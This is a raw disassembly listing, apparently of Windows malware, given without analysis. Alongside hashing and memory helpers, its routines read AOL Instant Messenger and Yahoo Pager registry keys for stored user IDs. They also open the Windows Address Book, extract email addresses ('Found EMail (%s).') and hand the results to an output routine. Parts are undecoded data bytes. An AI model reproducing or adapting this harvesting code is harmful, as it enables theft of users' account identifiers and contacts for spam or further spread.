		add	edx, ebp
		mov	ebp, [esp+5Ch+arg_0]
		not	ebx
		lea	edi, [edi+edx-3105C08h]
		and	ebx, ecx
		mov	edx, edi
		shr	edx, 17h
		shl	edi, 9
		or	edx, edi
		add	edx, ecx
		mov	edi, edx
		and	edi, ebp
		mov	ebp, [esp+5Ch+var_24]
		or	ebx, edi
		add	ebx, ebp
		lea	eax, [eax+ebx+676F02D9h]
		mov	edi, eax
		shr	edi, 12h
		shl	eax, 0Eh
		or	edi, eax
		mov	eax, ecx
		add	edi, edx
		not	eax
		mov	ebx, edi
		and	eax, edx
		and	ebx, ecx
		or	eax, ebx
		mov	ebx, [esp+5Ch+var_10]
		add	eax, ebx
		mov	ebx, [esp+5Ch+arg_0]
		lea	ebx, [ebx+eax-72D5B376h]
		mov	eax, ebx
		shl	eax, 14h
		shr	ebx, 0Ch
		or	eax, ebx
		add	eax, edi
		mov	ebp, [esp+5Ch+var_2C]
		mov	ebx, edx
		xor	ebx, edi
		xor	ebx, eax
		add	ebx, ebp
		mov	ebp, [esp+5Ch+var_20]
		lea	ecx, [ecx+ebx-5C6BEh]
		mov	ebx, ecx
		shr	ebx, 1Ch
		shl	ecx, 4
		or	ebx, ecx
		mov	ecx, edi
		add	ebx, eax
		xor	ecx, eax
		xor	ecx, ebx
		add	ecx, ebp
		mov	ebp, [esp+5Ch+var_14]
		lea	ecx, [edx+ecx-788E097Fh]
		mov	edx, ecx
		shr	edx, 15h
		shl	ecx, 0Bh
		or	edx, ecx
		add	edx, ebx
		mov	ecx, edx
		xor	ecx, eax
		xor	ecx, ebx
		add	ecx, ebp
		mov	ebp, [esp+5Ch+var_8]
		lea	ecx, [edi+ecx+6D9D6122h]
		mov	edi, ecx
		shr	edi, 10h
		shl	ecx, 10h
		or	edi, ecx
		mov	ecx, edx
		add	edi, edx
		xor	ecx, edi
		mov	[esp+5Ch+arg_0], ecx
		xor	ecx, ebx
		add	ecx, ebp
		mov	ebp, [esp+5Ch+var_3C]
		lea	eax, [eax+ecx-21AC7F4h]
		mov	ecx, eax
		shl	ecx, 17h
		shr	eax, 9
		or	ecx, eax
		mov	eax, [esp+5Ch+arg_0]
		add	ecx, edi
		xor	eax, ecx
		add	eax, ebp
		mov	ebp, [esp+5Ch+var_30]
		lea	ebx, [ebx+eax-5B4115BCh]
		mov	eax, ebx
		shr	eax, 1Ch
		shl	ebx, 4
		or	eax, ebx
		mov	ebx, edi
		add	eax, ecx
		xor	ebx, ecx
		xor	ebx, eax
		add	ebx, ebp
		mov	ebp, [esp+5Ch+var_24]
		lea	edx, [edx+ebx+4BDECFA9h]
		mov	ebx, edx
		shr	ebx, 15h
		shl	edx, 0Bh
		or	ebx, edx
		add	ebx, eax
		mov	edx, ebx
		xor	edx, ecx
		xor	edx, eax
		add	edx, ebp
		lea	edi, [edi+edx-944B4A0h]
		mov	edx, edi
		shr	edx, 10h
		shl	edi, 10h
		or	edx, edi
		mov	edi, ebx
		add	edx, ebx
		xor	edi, edx
		mov	ebp, edi
		xor	ebp, eax
		add	ebp, [esp+5Ch+var_18]
		lea	ebp, [ecx+ebp-41404390h]
		mov	ecx, ebp
		shl	ecx, 17h
		shr	ebp, 9
		or	ecx, ebp
		mov	ebp, [esp+5Ch+var_C]
		add	ecx, edx
		xor	edi, ecx
		add	edi, ebp
		mov	ebp, [esp+5Ch+var_40]
		lea	edi, [eax+edi+289B7EC6h]
		mov	eax, edi
		shr	eax, 1Ch
		shl	edi, 4
		or	eax, edi
		mov	edi, edx
		add	eax, ecx
		xor	edi, ecx
		xor	edi, eax
		add	edi, ebp
		mov	ebp, [esp+5Ch+var_34]
		lea	ebx, [ebx+edi-155ED806h]
		mov	edi, ebx
		shr	edi, 15h
		shl	ebx, 0Bh
		or	edi, ebx
		add	edi, eax
		mov	ebx, edi
		xor	ebx, ecx
		xor	ebx, eax
		add	ebx, ebp
		lea	edx, [edx+ebx-2B10CF7Bh]
		mov	ebx, edx
		shr	ebx, 10h
		shl	edx, 10h
		or	ebx, edx
		mov	edx, edi
		add	ebx, edi
		xor	edx, ebx
		mov	ebp, edx
		xor	ebp, eax
		add	ebp, [esp+5Ch+var_28]
		lea	ebp, [ecx+ebp+4881D05h]
		mov	ecx, ebp
		shl	ecx, 17h
		shr	ebp, 9
		or	ecx, ebp
		mov	ebp, [esp+5Ch+var_1C]
		add	ecx, ebx
		xor	edx, ecx
		add	edx, ebp
		lea	edx, [eax+edx-262B2FC7h]
		mov	eax, edx
		shr	eax, 1Ch
		shl	edx, 4
		or	eax, edx
		mov	edx, ebx
		add	eax, ecx
		xor	edx, ecx
		xor	edx, eax
		add	edx, [esp+5Ch+var_10]
		lea	edi, [edi+edx-1924661Bh]
		mov	edx, edi
		shr	edx, 15h
		shl	edi, 0Bh
		or	edx, edi
		add	edx, eax
		mov	edi, edx
		xor	edi, ecx
		xor	edi, eax
		add	edi, [esp+5Ch+var_4]
		lea	ebx, [ebx+edi+1FA27CF8h]
		mov	edi, ebx
		shr	edi, 10h
		shl	ebx, 10h
		or	edi, ebx
		mov	ebx, edx
		add	edi, edx
		xor	ebx, edi
		xor	ebx, eax
		add	ebx, [esp+5Ch+var_38]
		lea	ecx, [ecx+ebx-3B53A99Bh]
		mov	ebx, ecx
		shl	ebx, 17h
		shr	ecx, 9
		or	ebx, ecx
		mov	ecx, edx
		add	ebx, edi
		not	ecx
		or	ecx, ebx
		xor	ecx, edi
		add	ecx, [esp+5Ch+var_40]
		lea	eax, [eax+ecx-0BD6DDBCh]
		mov	ecx, eax
		shr	ecx, 1Ah
		shl	eax, 6
		or	ecx, eax
		mov	eax, edi
		add	ecx, ebx
		not	eax
		or	eax, ecx
		xor	eax, ebx
		add	eax, [esp+5Ch+var_24]
		lea	edx, [edx+eax+432AFF97h]
		mov	eax, edx
		shr	eax, 16h
		shl	edx, 0Ah
		or	eax, edx
		mov	edx, ebx
		add	eax, ecx
		not	edx
		or	edx, eax
		xor	edx, ecx
		add	edx, [esp+5Ch+var_8]
		lea	edi, [edi+edx-546BDC59h]
		mov	edx, edi
		shr	edx, 11h
		shl	edi, 0Fh
		or	edx, edi
		mov	edi, ecx
		add	edx, eax
		not	edi
		or	edi, edx
		xor	edi, eax
		add	edi, [esp+5Ch+var_2C]
		lea	ebx, [ebx+edi-36C5FC7h]
		mov	edi, ebx
		shl	edi, 15h
		shr	ebx, 0Bh
		or	edi, ebx
		mov	ebx, eax
		add	edi, edx
		not	ebx
		or	ebx, edi
		xor	ebx, edx
		add	ebx, [esp+5Ch+var_10]
		lea	ecx, [ecx+ebx+655B59C3h]
		mov	ebx, ecx
		shr	ebx, 1Ah
		shl	ecx, 6
		or	ebx, ecx
		mov	ecx, edx
		add	ebx, edi
		not	ecx
		or	ecx, ebx
		xor	ecx, edi
		add	ecx, [esp+5Ch+var_34]
		lea	eax, [eax+ecx-70F3336Eh]
		mov	ecx, eax
		shr	ecx, 16h
		shl	eax, 0Ah
		or	ecx, eax
		mov	eax, edi
		add	ecx, ebx
		not	eax
		or	eax, ecx
		xor	eax, ebx
		add	eax, [esp+5Ch+var_18]
		lea	edx, [edx+eax-100B83h]
		mov	eax, edx
		shr	eax, 11h
		shl	edx, 0Fh
		or	eax, edx
		mov	edx, ebx
		add	eax, ecx
		not	edx
		or	edx, eax
		xor	edx, ecx
		add	edx, [esp+5Ch+var_3C]
		lea	edi, [edi+edx-7A7BA22Fh]
		mov	edx, edi
		shl	edx, 15h
		shr	edi, 0Bh
		or	edx, edi
		mov	edi, ecx
		add	edx, eax
		not	edi
		or	edi, edx
		xor	edi, eax
		add	edi, [esp+5Ch+var_20]
		lea	ebx, [ebx+edi+6FA87E4Fh]
		mov	edi, ebx
		shr	edi, 1Ah
		shl	ebx, 6
		or	edi, ebx
		mov	ebx, eax
		add	edi, edx
		not	ebx
		or	ebx, edi
		xor	ebx, edx
		add	ebx, [esp+5Ch+var_4]
		lea	ecx, [ecx+ebx-1D31920h]
		mov	ebx, ecx
		shr	ebx, 16h
		shl	ecx, 0Ah
		or	ebx, ecx
		mov	ecx, edx
		add	ebx, edi
		not	ecx
		or	ecx, ebx
		xor	ecx, edi
		add	ecx, [esp+5Ch+var_28]
		lea	eax, [eax+ecx-5CFEBCECh]
		mov	ecx, eax
		shr	ecx, 11h
		shl	eax, 0Fh
		or	ecx, eax
		mov	eax, edi
		add	ecx, ebx
		not	eax
		or	eax, ecx
		xor	eax, ebx
		add	eax, [esp+5Ch+var_C]
		lea	edx, [edx+eax+4E0811A1h]
		mov	eax, edx
		shl	eax, 15h
		shr	edx, 0Bh
		or	eax, edx
		mov	edx, ebx
		add	eax, ecx
		not	edx
		or	edx, eax
		xor	edx, ecx
		add	edx, [esp+5Ch+var_30]
		lea	edi, [edi+edx-8AC817Eh]
		mov	edx, edi
		shr	edx, 1Ah
		shl	edi, 6
		or	edx, edi
		mov	edi, ecx
		add	edx, eax
		not	edi
		or	edi, edx
		xor	edi, eax
		add	edi, [esp+5Ch+var_14]
		lea	ebx, [ebx+edi-42C50DCBh]
		mov	edi, ebx
		shr	edi, 16h
		shl	ebx, 0Ah
		or	edi, ebx
		mov	ebx, eax
		add	edi, edx
		not	ebx
		or	ebx, edi
		push	40h
		xor	ebx, edx
		push	0
		add	ebx, [esp+64h+var_38]
		lea	ecx, [ecx+ebx+2AD7D2BBh]
		mov	ebx, ecx
		shr	ebx, 11h
		shl	ecx, 0Fh
		or	ebx, ecx
		mov	ecx, edx
		add	ebx, edi
		not	ecx
		or	ecx, ebx
		xor	ecx, edi
		add	ecx, ebp
		mov	ebp, [esi+8]
		add	ebp, ebx
		lea	eax, [eax+ecx-14792C6Fh]
		mov	ecx, [esi]
		add	ecx, edx
		mov	edx, eax
		shl	edx, 15h
		shr	eax, 0Bh
		or	edx, eax
		mov	eax, [esi+4]
		add	edx, ebx
		mov	ebx, [esi+0Ch]
		add	eax, edx
		add	ebx, edi
		mov	[esi+4], eax
		lea	eax, [esp+64h+var_40]
		push	eax
		mov	[esi], ecx
		mov	[esi+8], ebp
		mov	[esi+0Ch], ebx
		call	sub_434800
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 40h
		retn
sub_433B40	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 260h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4346F0	proc near		; CODE XREF: sub_433AB0+14p
					; sub_433AB0+56p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		mov	edi, [esp+4+arg_8]
		test	edi, edi
		jbe	short loc_434737
		mov	edx, [esp+4+arg_0]
		mov	ecx, [esp+4+arg_4]
		push	esi
		or	esi, 0FFFFFFFFh
		lea	eax, [edx+1]
		sub	esi, edx


loc_43470A:				; CODE XREF: sub_4346F0+44j
		mov	dl, [ecx]
		add	ecx, 4
		mov	[eax-1], dl
		mov	edx, [ecx-4]
		shr	edx, 8
		mov	[eax], dl
		mov	edx, [ecx-4]
		shr	edx, 10h
		mov	[eax+1], dl
		mov	edx, [ecx-4]
		shr	edx, 18h
		mov	[eax+2], dl
		add	eax, 4
		lea	edx, [esi+eax]
		cmp	edx, edi
		jb	short loc_43470A
		pop	esi


loc_434737:				; CODE XREF: sub_4346F0+7j
		pop	edi
		retn
sub_4346F0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_434760	proc near		; CODE XREF: sub_433B40+26p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebp
		mov	ebp, [esp+4+arg_8]
		test	ebp, ebp
		jbe	short loc_4347AA
		mov	ecx, [esp+4+arg_4]
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, 0FFFFFFFEh
		lea	eax, [ecx+2]
		sub	edi, ecx


loc_43477D:				; CODE XREF: sub_434760+46j
		xor	ecx, ecx
		xor	edx, edx
		mov	ch, [eax+1]
		mov	dl, [eax-1]
		mov	cl, [eax]
		add	eax, 4
		shl	ecx, 8
		or	ecx, edx
		xor	edx, edx
		mov	dl, [eax-6]
		add	esi, 4
		shl	ecx, 8
		or	ecx, edx
		mov	[esi-4], ecx
		lea	ecx, [edi+eax]
		cmp	ecx, ebp
		jb	short loc_43477D
		pop	edi
		pop	esi


loc_4347AA:				; CODE XREF: sub_434760+7j
		pop	ebp
		retn
sub_434760	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4347D0	proc near		; CODE XREF: sub_4339D0+4Ep
					; sub_4339D0+9Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_8]
		test	esi, esi
		jbe	short loc_4347EC
		mov	eax, [esp+4+arg_0]
		mov	ecx, [esp+4+arg_4]
		sub	ecx, eax


loc_4347E3:				; CODE XREF: sub_4347D0+1Aj
		mov	dl, [ecx+eax]
		mov	[eax], dl
		inc	eax
		dec	esi
		jnz	short loc_4347E3


loc_4347EC:				; CODE XREF: sub_4347D0+7j
		pop	esi
		retn
sub_4347D0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_434800	proc near		; CODE XREF: sub_433AB0+60p
					; sub_433B40+932p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		test	ecx, ecx
		jbe	short locret_43482E
		mov	al, [esp+arg_4]
		push	ebx
		mov	bl, al
		mov	edx, ecx
		mov	bh, bl
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	eax, ebx
		shl	eax, 10h
		mov	ax, bx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb
		pop	edi
		pop	ebx

locret_43482E:				; CODE XREF: sub_434800+6j
		retn
sub_434800	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_434840	proc near		; CODE XREF: sub_401C0Dj

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_434840
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	0
		push	0Bh
		push	3
		push	4Fh
		push	14h
		push	5
		lea	eax, [esp+58h+var_3C]
		push	7
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	[esp+44h+var_4], 0
		call	sub_4017E4
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_447108
		call	sub_401591
sub_434840	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	0Dh
		push	4Fh
		push	14h
		push	5
		lea	edx, [esp+30h]
		push	7
		push	edx
		call	sub_4019B5
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 1
		call	sub_4017E4
		add	esi, 32h
		push	eax
		push	esi
		mov	ecx, offset dword_447108
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+1Ch]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+34h]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_434930:				; CODE XREF: ___:loc_401F1Ej
		push	0FFFFFFFFh
		mov	eax, large fs:0
		push	offset loc_43BE96
		push	eax
		mov	eax, 16D4h
		mov	large fs:0, esp
		call	sub_4368D0
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+16F0h]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+4]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_434EE8
		push	80h
		mov	dword ptr [esp+1Ch], 800h
		nop
		call	near ptr 77C2C407h
		add	esp, 4
		mov	ebp, eax
		lea	eax, [esp+64h]
		mov	ecx, esi
		push	offset asc_443600 ; " "
		push	1
		push	eax
		call	sub_4016AE
		push	800h
		mov	dword ptr [esp+16F0h], 0
		call	sub_43688A
; ---------------------------------------------------------------------------
		db 8Bh
		dd 50F7241Dh, 4C48300h,	0B9F88Bh, 33000002h, 0B83D89C0h
		dd 0F30050E3h, 578CBEABh, 4E8B0044h, 4C8D51FCh,	7EE85024h
		dd 8DFFFCCEh, 0C664244Ch, 16EC2484h, 0E8010000h, 0FFFCCADFh
		dd 0FB1C3D8Bh, 0FF500050h, 4C483D7h, 4C244C8Dh,	0CAC9E850h
		dd 0FF50FFFCh, 4C483D7h, 324AE850h, 83907781h, 0C08508C4h
		dd 26A840Fh, 3E810000h,	80000001h, 9B840Fh, 568B0000h
		dd 0F0685204h, 55004435h, 0C820E890h, 0B9001Fh,	33000002h
		dd 24BC8DC0h, 6F0h, 0F30CC483h,	100B9ABh, 0BCBF0000h, 0F30050E3h
		dd 0E3B8A1ABh, 4C8D0050h, 948D1824h, 6E424h, 0C75100h
		dd 0
		dd 5208468Bh, 6A006Ah, 0FF006A50h, 75C085D3h, 0FC568B3Ch
		dd 0F424BC8Bh, 8D000016h, 6E4248Ch, 52510000h, 443D0868h
		dd 694F8D00h, 0FCCA2EE8h, 938F8AFFh, 50000000h,	94878Ah
		dd 51500000h, 4D606568h, 0CD8AE800h, 0C483FFFCh, 90006A1Ch
		dd 4FB537E8h, 81168B02h, 1FAh, 0B5850F80h, 0A0000001h
		dd 446F20h, 40B9h, 24848800h, 0E0h, 0BC8DC033h,	0E124h
		dd 2444C700h, 10428h, 66ABF300h, 4C8DAAABh, 448D4424h
		dd 50513024h, 48244C8Dh, 4024448Dh, 4C8D5051h, 448D3C24h
		dd 50514424h, 54244C8Dh, 2C24448Dh, 4C8D5051h, 6A4824h
		dd 424848Dh, 51000001h,	44C75250h, 4424h, 0E8900000h, 24AB4BCh
		dd 1424448Bh, 840FC085h, 13Ch, 0C085FF33h, 24247C89h, 12E860Fh
		dd 4C8D0000h, 548D4424h, 6A512024h, 6A006A00h, 24848D00h
		dd 0EF4h, 68575052h, 80000003h,	402444C7h, 800h, 4BB477E8h
		dd 0C0859002h, 0E9850Fh, 4E8B0000h, 24948D04h, 0EE4h, 84685251h
		dd 55004436h, 20244489h, 0C6B0E890h, 0B9001Fh, 33000002h
		dd 24BC8DC0h, 6F4h, 0F310C483h,	100B9ABh, 0BCBF0000h, 0F30050E3h
		dd 24448DABh, 19685010h, 6A000200h, 3685500h, 90800000h
		dd 52B6B1E8h, 8468B02h,	18244C8Dh, 0E424948Dh, 51000006h
		dd 14244C8Bh, 6A006A52h, 0FF515000h, 74C085D3h,	24548B0Bh
		dd 0F1E85210h, 90024FB3h, 8D08568Bh, 8D182444h,	6E4248Ch
		dd 8B500000h, 51142444h, 6A006Ah, 0D3FF5052h, 3C75C085h
		dd 8BFC568Bh, 16F424BCh, 8C8D0000h, 6E424h, 68525100h
		dd 443D08h, 0E8694F8Dh,	0FFFCC883h, 938F8Ah, 8A500000h
		dd 9487h, 68515000h, 4D6065h, 0FCCBDFE8h, 1CC483FFh, 1024548Bh
		dd 89E89052h, 8B024FB3h, 8B24247Ch, 47142444h, 7C89F83Bh
		dd 820F2424h, 0FFFFFED2h, 4C244C8Dh, 0EC2484C6h, 16h, 0FCC589E8h
		dd 10C683FFh, 59DCFE81h, 8C0F0044h, 0FFFFFD2Ah,	0F75C2D8Bh
		dd 448D0050h, 68501C24h, 20019h, 6868006Ah, 6800445Bh
		dd 80000002h, 302444C7h, 0
		dd 2C2444C7h, 80h, 448BD5FFh, 4C8D1C24h, 948D1824h, 2E424h
		dd 6A525100h, 68006A00h, 446A24h, 85D3FF50h, 0BE850FC0h
		dd 68000000h, 104h, 76FDE890h, 8C8D777Fh, 2E824h, 5B5C6800h
		dd 0F08B0044h, 6A146851h, 0E8560044h, 1FC53Ah, 3E446890h
		dd 0E8560044h, 7780A2E0h, 83F88B90h, 0FF851CC4h, 8D577574h
		dd 802494h, 646A0000h, 0BE67E852h, 83907780h, 0C0850CC4h
		dd 448D5374h, 0FC687C24h, 50004469h, 2EFEE890h,	0C4837781h
		dd 75C08508h, 24948B3Ch, 16F4h,	7C244C8Dh, 69E06851h, 4A8D0044h
		dd 0C751E869h, 8B50FFFCh, 17002484h, 888A0000h,	94h, 93908Ah
		dd 52510000h, 4D606568h, 0CAA6E800h, 0C483FFFCh, 0E8905718h
		dd 7780BD05h, 8504C483h, 560A74F6h, 7461E890h, 0C483777Fh
		dd 24448B04h, 0E890501Ch, 24FB238h, 1C244C8Dh, 182444C7h
		dd 80h,	196851h, 6A0002h, 4469B868h, 26800h, 0D5FF8000h
		dd 1C244C8Bh, 1824548Dh, 0E424848Dh, 52000002h,	6A006A50h
		dd 6A246800h, 0FF510044h, 0FC085D3h, 0B785h, 1046800h
		dd 0E8900000h, 777F75EFh, 0E824948Dh, 68000002h, 4469B0h
		dd 6852F08Bh, 4469A0h, 2BE89056h, 68001FC4h, 443E44h, 0D1E89056h
		dd 8B7780A1h, 1CC483F8h, 6E74FF85h, 24848D57h, 80h, 9050646Ah
		dd 80BD58E8h, 0CC48377h, 4C74C085h, 7C244C8Dh, 44698468h
		dd 0E8905100h, 77812DF0h, 8508C483h, 8B3575C0h,	16F4249Ch
		dd 548D0000h, 68527C24h, 446968h, 0E8694B8Dh, 0FFFCC643h
		dd 938B8Ah, 8A500000h, 9483h, 68515000h, 4D6065h, 0FCC99FE8h
		dd 18C483FFh, 0FEE89057h, 837780BBh, 0F68504C4h, 90560A74h
		dd 7F735AE8h, 4C48377h,	1C24548Bh, 31E89052h, 8D024FB1h
		dd 0C764244Ch, 16EC2484h, 0FFFF0000h, 43E8FFFFh, 0E9FFFCC3h
		dd 184h
; ---------------------------------------------------------------------------


loc_434EE8:				; CODE XREF: ___:00434971j
		lea	ecx, [edi+32h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_43506C
		lea	eax, [esp+10h]
		push	eax
		push	0F003Fh
		push	0
		push	offset aSoftwareAmeric ; "Software\\America Online\\AOL	Instant	Mes"...
		push	80000001h
		nop
		call	near ptr 2960296h
		test	eax, eax
		jnz	loc_43506C
		mov	ecx, 40h
		lea	edi, [esp+1E4h]
		rep stosd
		lea	ecx, [esp+14h]
		lea	edx, [esp+1E4h]
		push	ecx
		mov	ecx, [esp+14h]
		lea	eax, [esp+24h]
		push	edx
		push	eax
		push	0
		push	offset dword_446900
		push	ecx
		mov	dword ptr [esp+2Ch], 100h
		call	near ptr 2910000h
		nop
		test	eax, eax
		jz	short loc_434F72
		mov	edx, [esp+10h]
		push	edx
		nop
		call	near ptr 2930000h
		jmp	loc_43506C
; ---------------------------------------------------------------------------


loc_434F72:				; CODE XREF: ___:00434F60j
		mov	eax, [esp+14h]
		mov	ecx, [esp+10h]
		mov	ebp, dword_50F738
		push	ecx
		mov	byte ptr [esp+eax+1E8h], 0
		call	ebp
		lea	edx, [esp+1E4h]
		lea	ebx, [esi+69h]
		push	edx
		push	offset dword_4468F4
		mov	ecx, ebx
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D6065
		call	sub_401848
		add	esp, 18h
		lea	edx, [esp+10h]
		push	edx
		push	0F003Fh
		push	0
		push	offset aSoftwareYahooP ; "Software\\Yahoo\\Pager"
		push	80000001h
		nop
		call	near ptr 2960296h
		test	eax, eax
		jnz	loc_43506C
		mov	ecx, 40h
		lea	edi, [esp+0E0h]
		rep stosd
		lea	eax, [esp+14h]
		lea	ecx, [esp+0E0h]
		push	eax
		mov	eax, [esp+14h]
		lea	edx, [esp+24h]
		push	ecx
		push	edx
		push	0
		push	offset aYahooUserId ; "Yahoo! User ID"
		push	eax
		mov	dword ptr [esp+2Ch], 100h
		nop
		call	near ptr 2910000h
		test	eax, eax
		jz	short loc_435029
		mov	ecx, [esp+10h]
		push	ecx
		call	ebp
		jmp	short loc_43506C
; ---------------------------------------------------------------------------


loc_435029:				; CODE XREF: ___:0043501Ej
		mov	edx, [esp+14h]
		mov	eax, [esp+10h]
		push	eax
		mov	byte ptr [esp+edx+1E8h], 0
		call	ebp
		lea	ecx, [esp+0E0h]
		push	ecx
		push	offset aYahooS	; "yahoo: %s"
		mov	ecx, ebx
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D6065
		call	sub_401848
		add	esp, 18h


loc_43506C:				; CODE XREF: ___:00434EFAj
					; ___:00434F1Ej ...
		mov	ecx, [esp+16E4h]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 16E0h
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 1E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_435270	proc near		; CODE XREF: sub_4016F4j

var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_435270
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	esi
		push	0
		push	5
		push	4Fh
		push	14h
		push	5
		lea	eax, [esp+3Ch+var_24]
		push	7
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	[esp+2Ch+var_4], 0
		call	sub_4017E4
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_447108
		call	sub_401591
sub_435270	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+24h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_435310:				; CODE XREF: ___:loc_401FD7j
		sub	esp, 6CCh
		add	ecx, 4
		push	ebx
		push	ebp
		push	esi
		push	edi
		call	sub_4017E4
		mov	ebp, [esp+6E0h]
		push	eax
		lea	ecx, [ebp+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4355AE
		lea	eax, [esp+14h]
		mov	dword ptr [esp+20h], 320h
		push	eax
		push	0F003Fh
		push	0
		push	offset aSoftwareMicr_1 ; "Software\\Microsoft\\WAB\\WAB4\\Wab File Na"...
		push	80000001h
		call	near ptr 2960296h
		nop
		mov	eax, [esp+14h]
		test	eax, eax
		jz	loc_4355AE
		lea	ecx, [esp+20h]
		lea	edx, [esp+1D8h]
		push	ecx
		push	edx
		push	0
		push	0
		push	offset byte_446F20
		push	eax
		call	near ptr 2910000h
		nop
		mov	eax, [esp+14h]
		push	eax
		call	near ptr 2930000h
		nop
		push	0
		push	80h
		push	4
		push	0
		push	1
		lea	ecx, [esp+1ECh]
		push	80000000h
		push	ecx
		call	near ptr 289044Ch
		nop
		push	0
		push	0
		push	0
		mov	edi, eax
		push	2
		push	0
		push	edi
		mov	[esp+34h], edi
		nop
		call	near ptr 2760000h
		mov	ebx, eax
		test	ebx, ebx
		mov	[esp+24h], ebx
		jnz	short loc_4353E9
		push	edi
		nop
		call	near ptr 28709F4h
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 6CCh
		retn	4
; ---------------------------------------------------------------------------


loc_4353E9:				; CODE XREF: ___:004353D1j
		push	0
		push	0
		push	0
		push	4
		push	ebx
		call	near ptr 276060Dh
		nop
		mov	esi, eax
		test	esi, esi
		jnz	short loc_435419
		mov	esi, dword_50F8D8
		push	ebx
		call	esi
		push	edi
		call	esi
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 6CCh
		retn	4
; ---------------------------------------------------------------------------


loc_435419:				; CODE XREF: ___:004353FCj
		xor	edx, edx
		xor	eax, eax
		mov	dh, [esi+63h]
		mov	ah, [esi+61h]
		mov	dl, [esi+62h]
		and	eax, 0FFFFh
		movsx	ecx, byte ptr [esi+64h]
		shl	edx, 10h
		or	edx, eax
		xor	eax, eax
		mov	al, [esi+60h]
		or	edx, eax
		mov	eax, ecx
		shl	eax, 4
		add	eax, ecx
		shl	eax, 2
		test	eax, eax
		jle	short loc_4354B8
		lea	ecx, [eax+43h]
		mov	eax, 0F0F0F0F1h
		lea	edi, [edx+esi]
		mul	ecx
		mov	ebx, edx
		shr	ebx, 6


loc_43545B:				; CODE XREF: ___:004354AEj
		xor	eax, eax
		mov	ecx, edi


loc_43545F:				; CODE XREF: ___:0043546Fj
		mov	dl, [ecx]
		add	ecx, 2
		mov	[esp+eax+0ACh],	dl
		inc	eax
		cmp	eax, 44h
		jle	short loc_43545F
		lea	eax, [esp+0ACh]
		lea	ecx, [ebp+69h]
		push	eax
		push	offset aFoundEmailS_ ; "Found EMail (%s)."
		mov	byte ptr [esp+0F8h], 0
		call	sub_4014D3
		mov	cl, [ebp+94h]
		mov	dl, [ebp+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D6065
		call	sub_401848
		add	esp, 18h
		add	edi, 44h
		dec	ebx
		jnz	short loc_43545B
		mov	ebx, [esp+24h]
		mov	edi, [esp+1Ch]


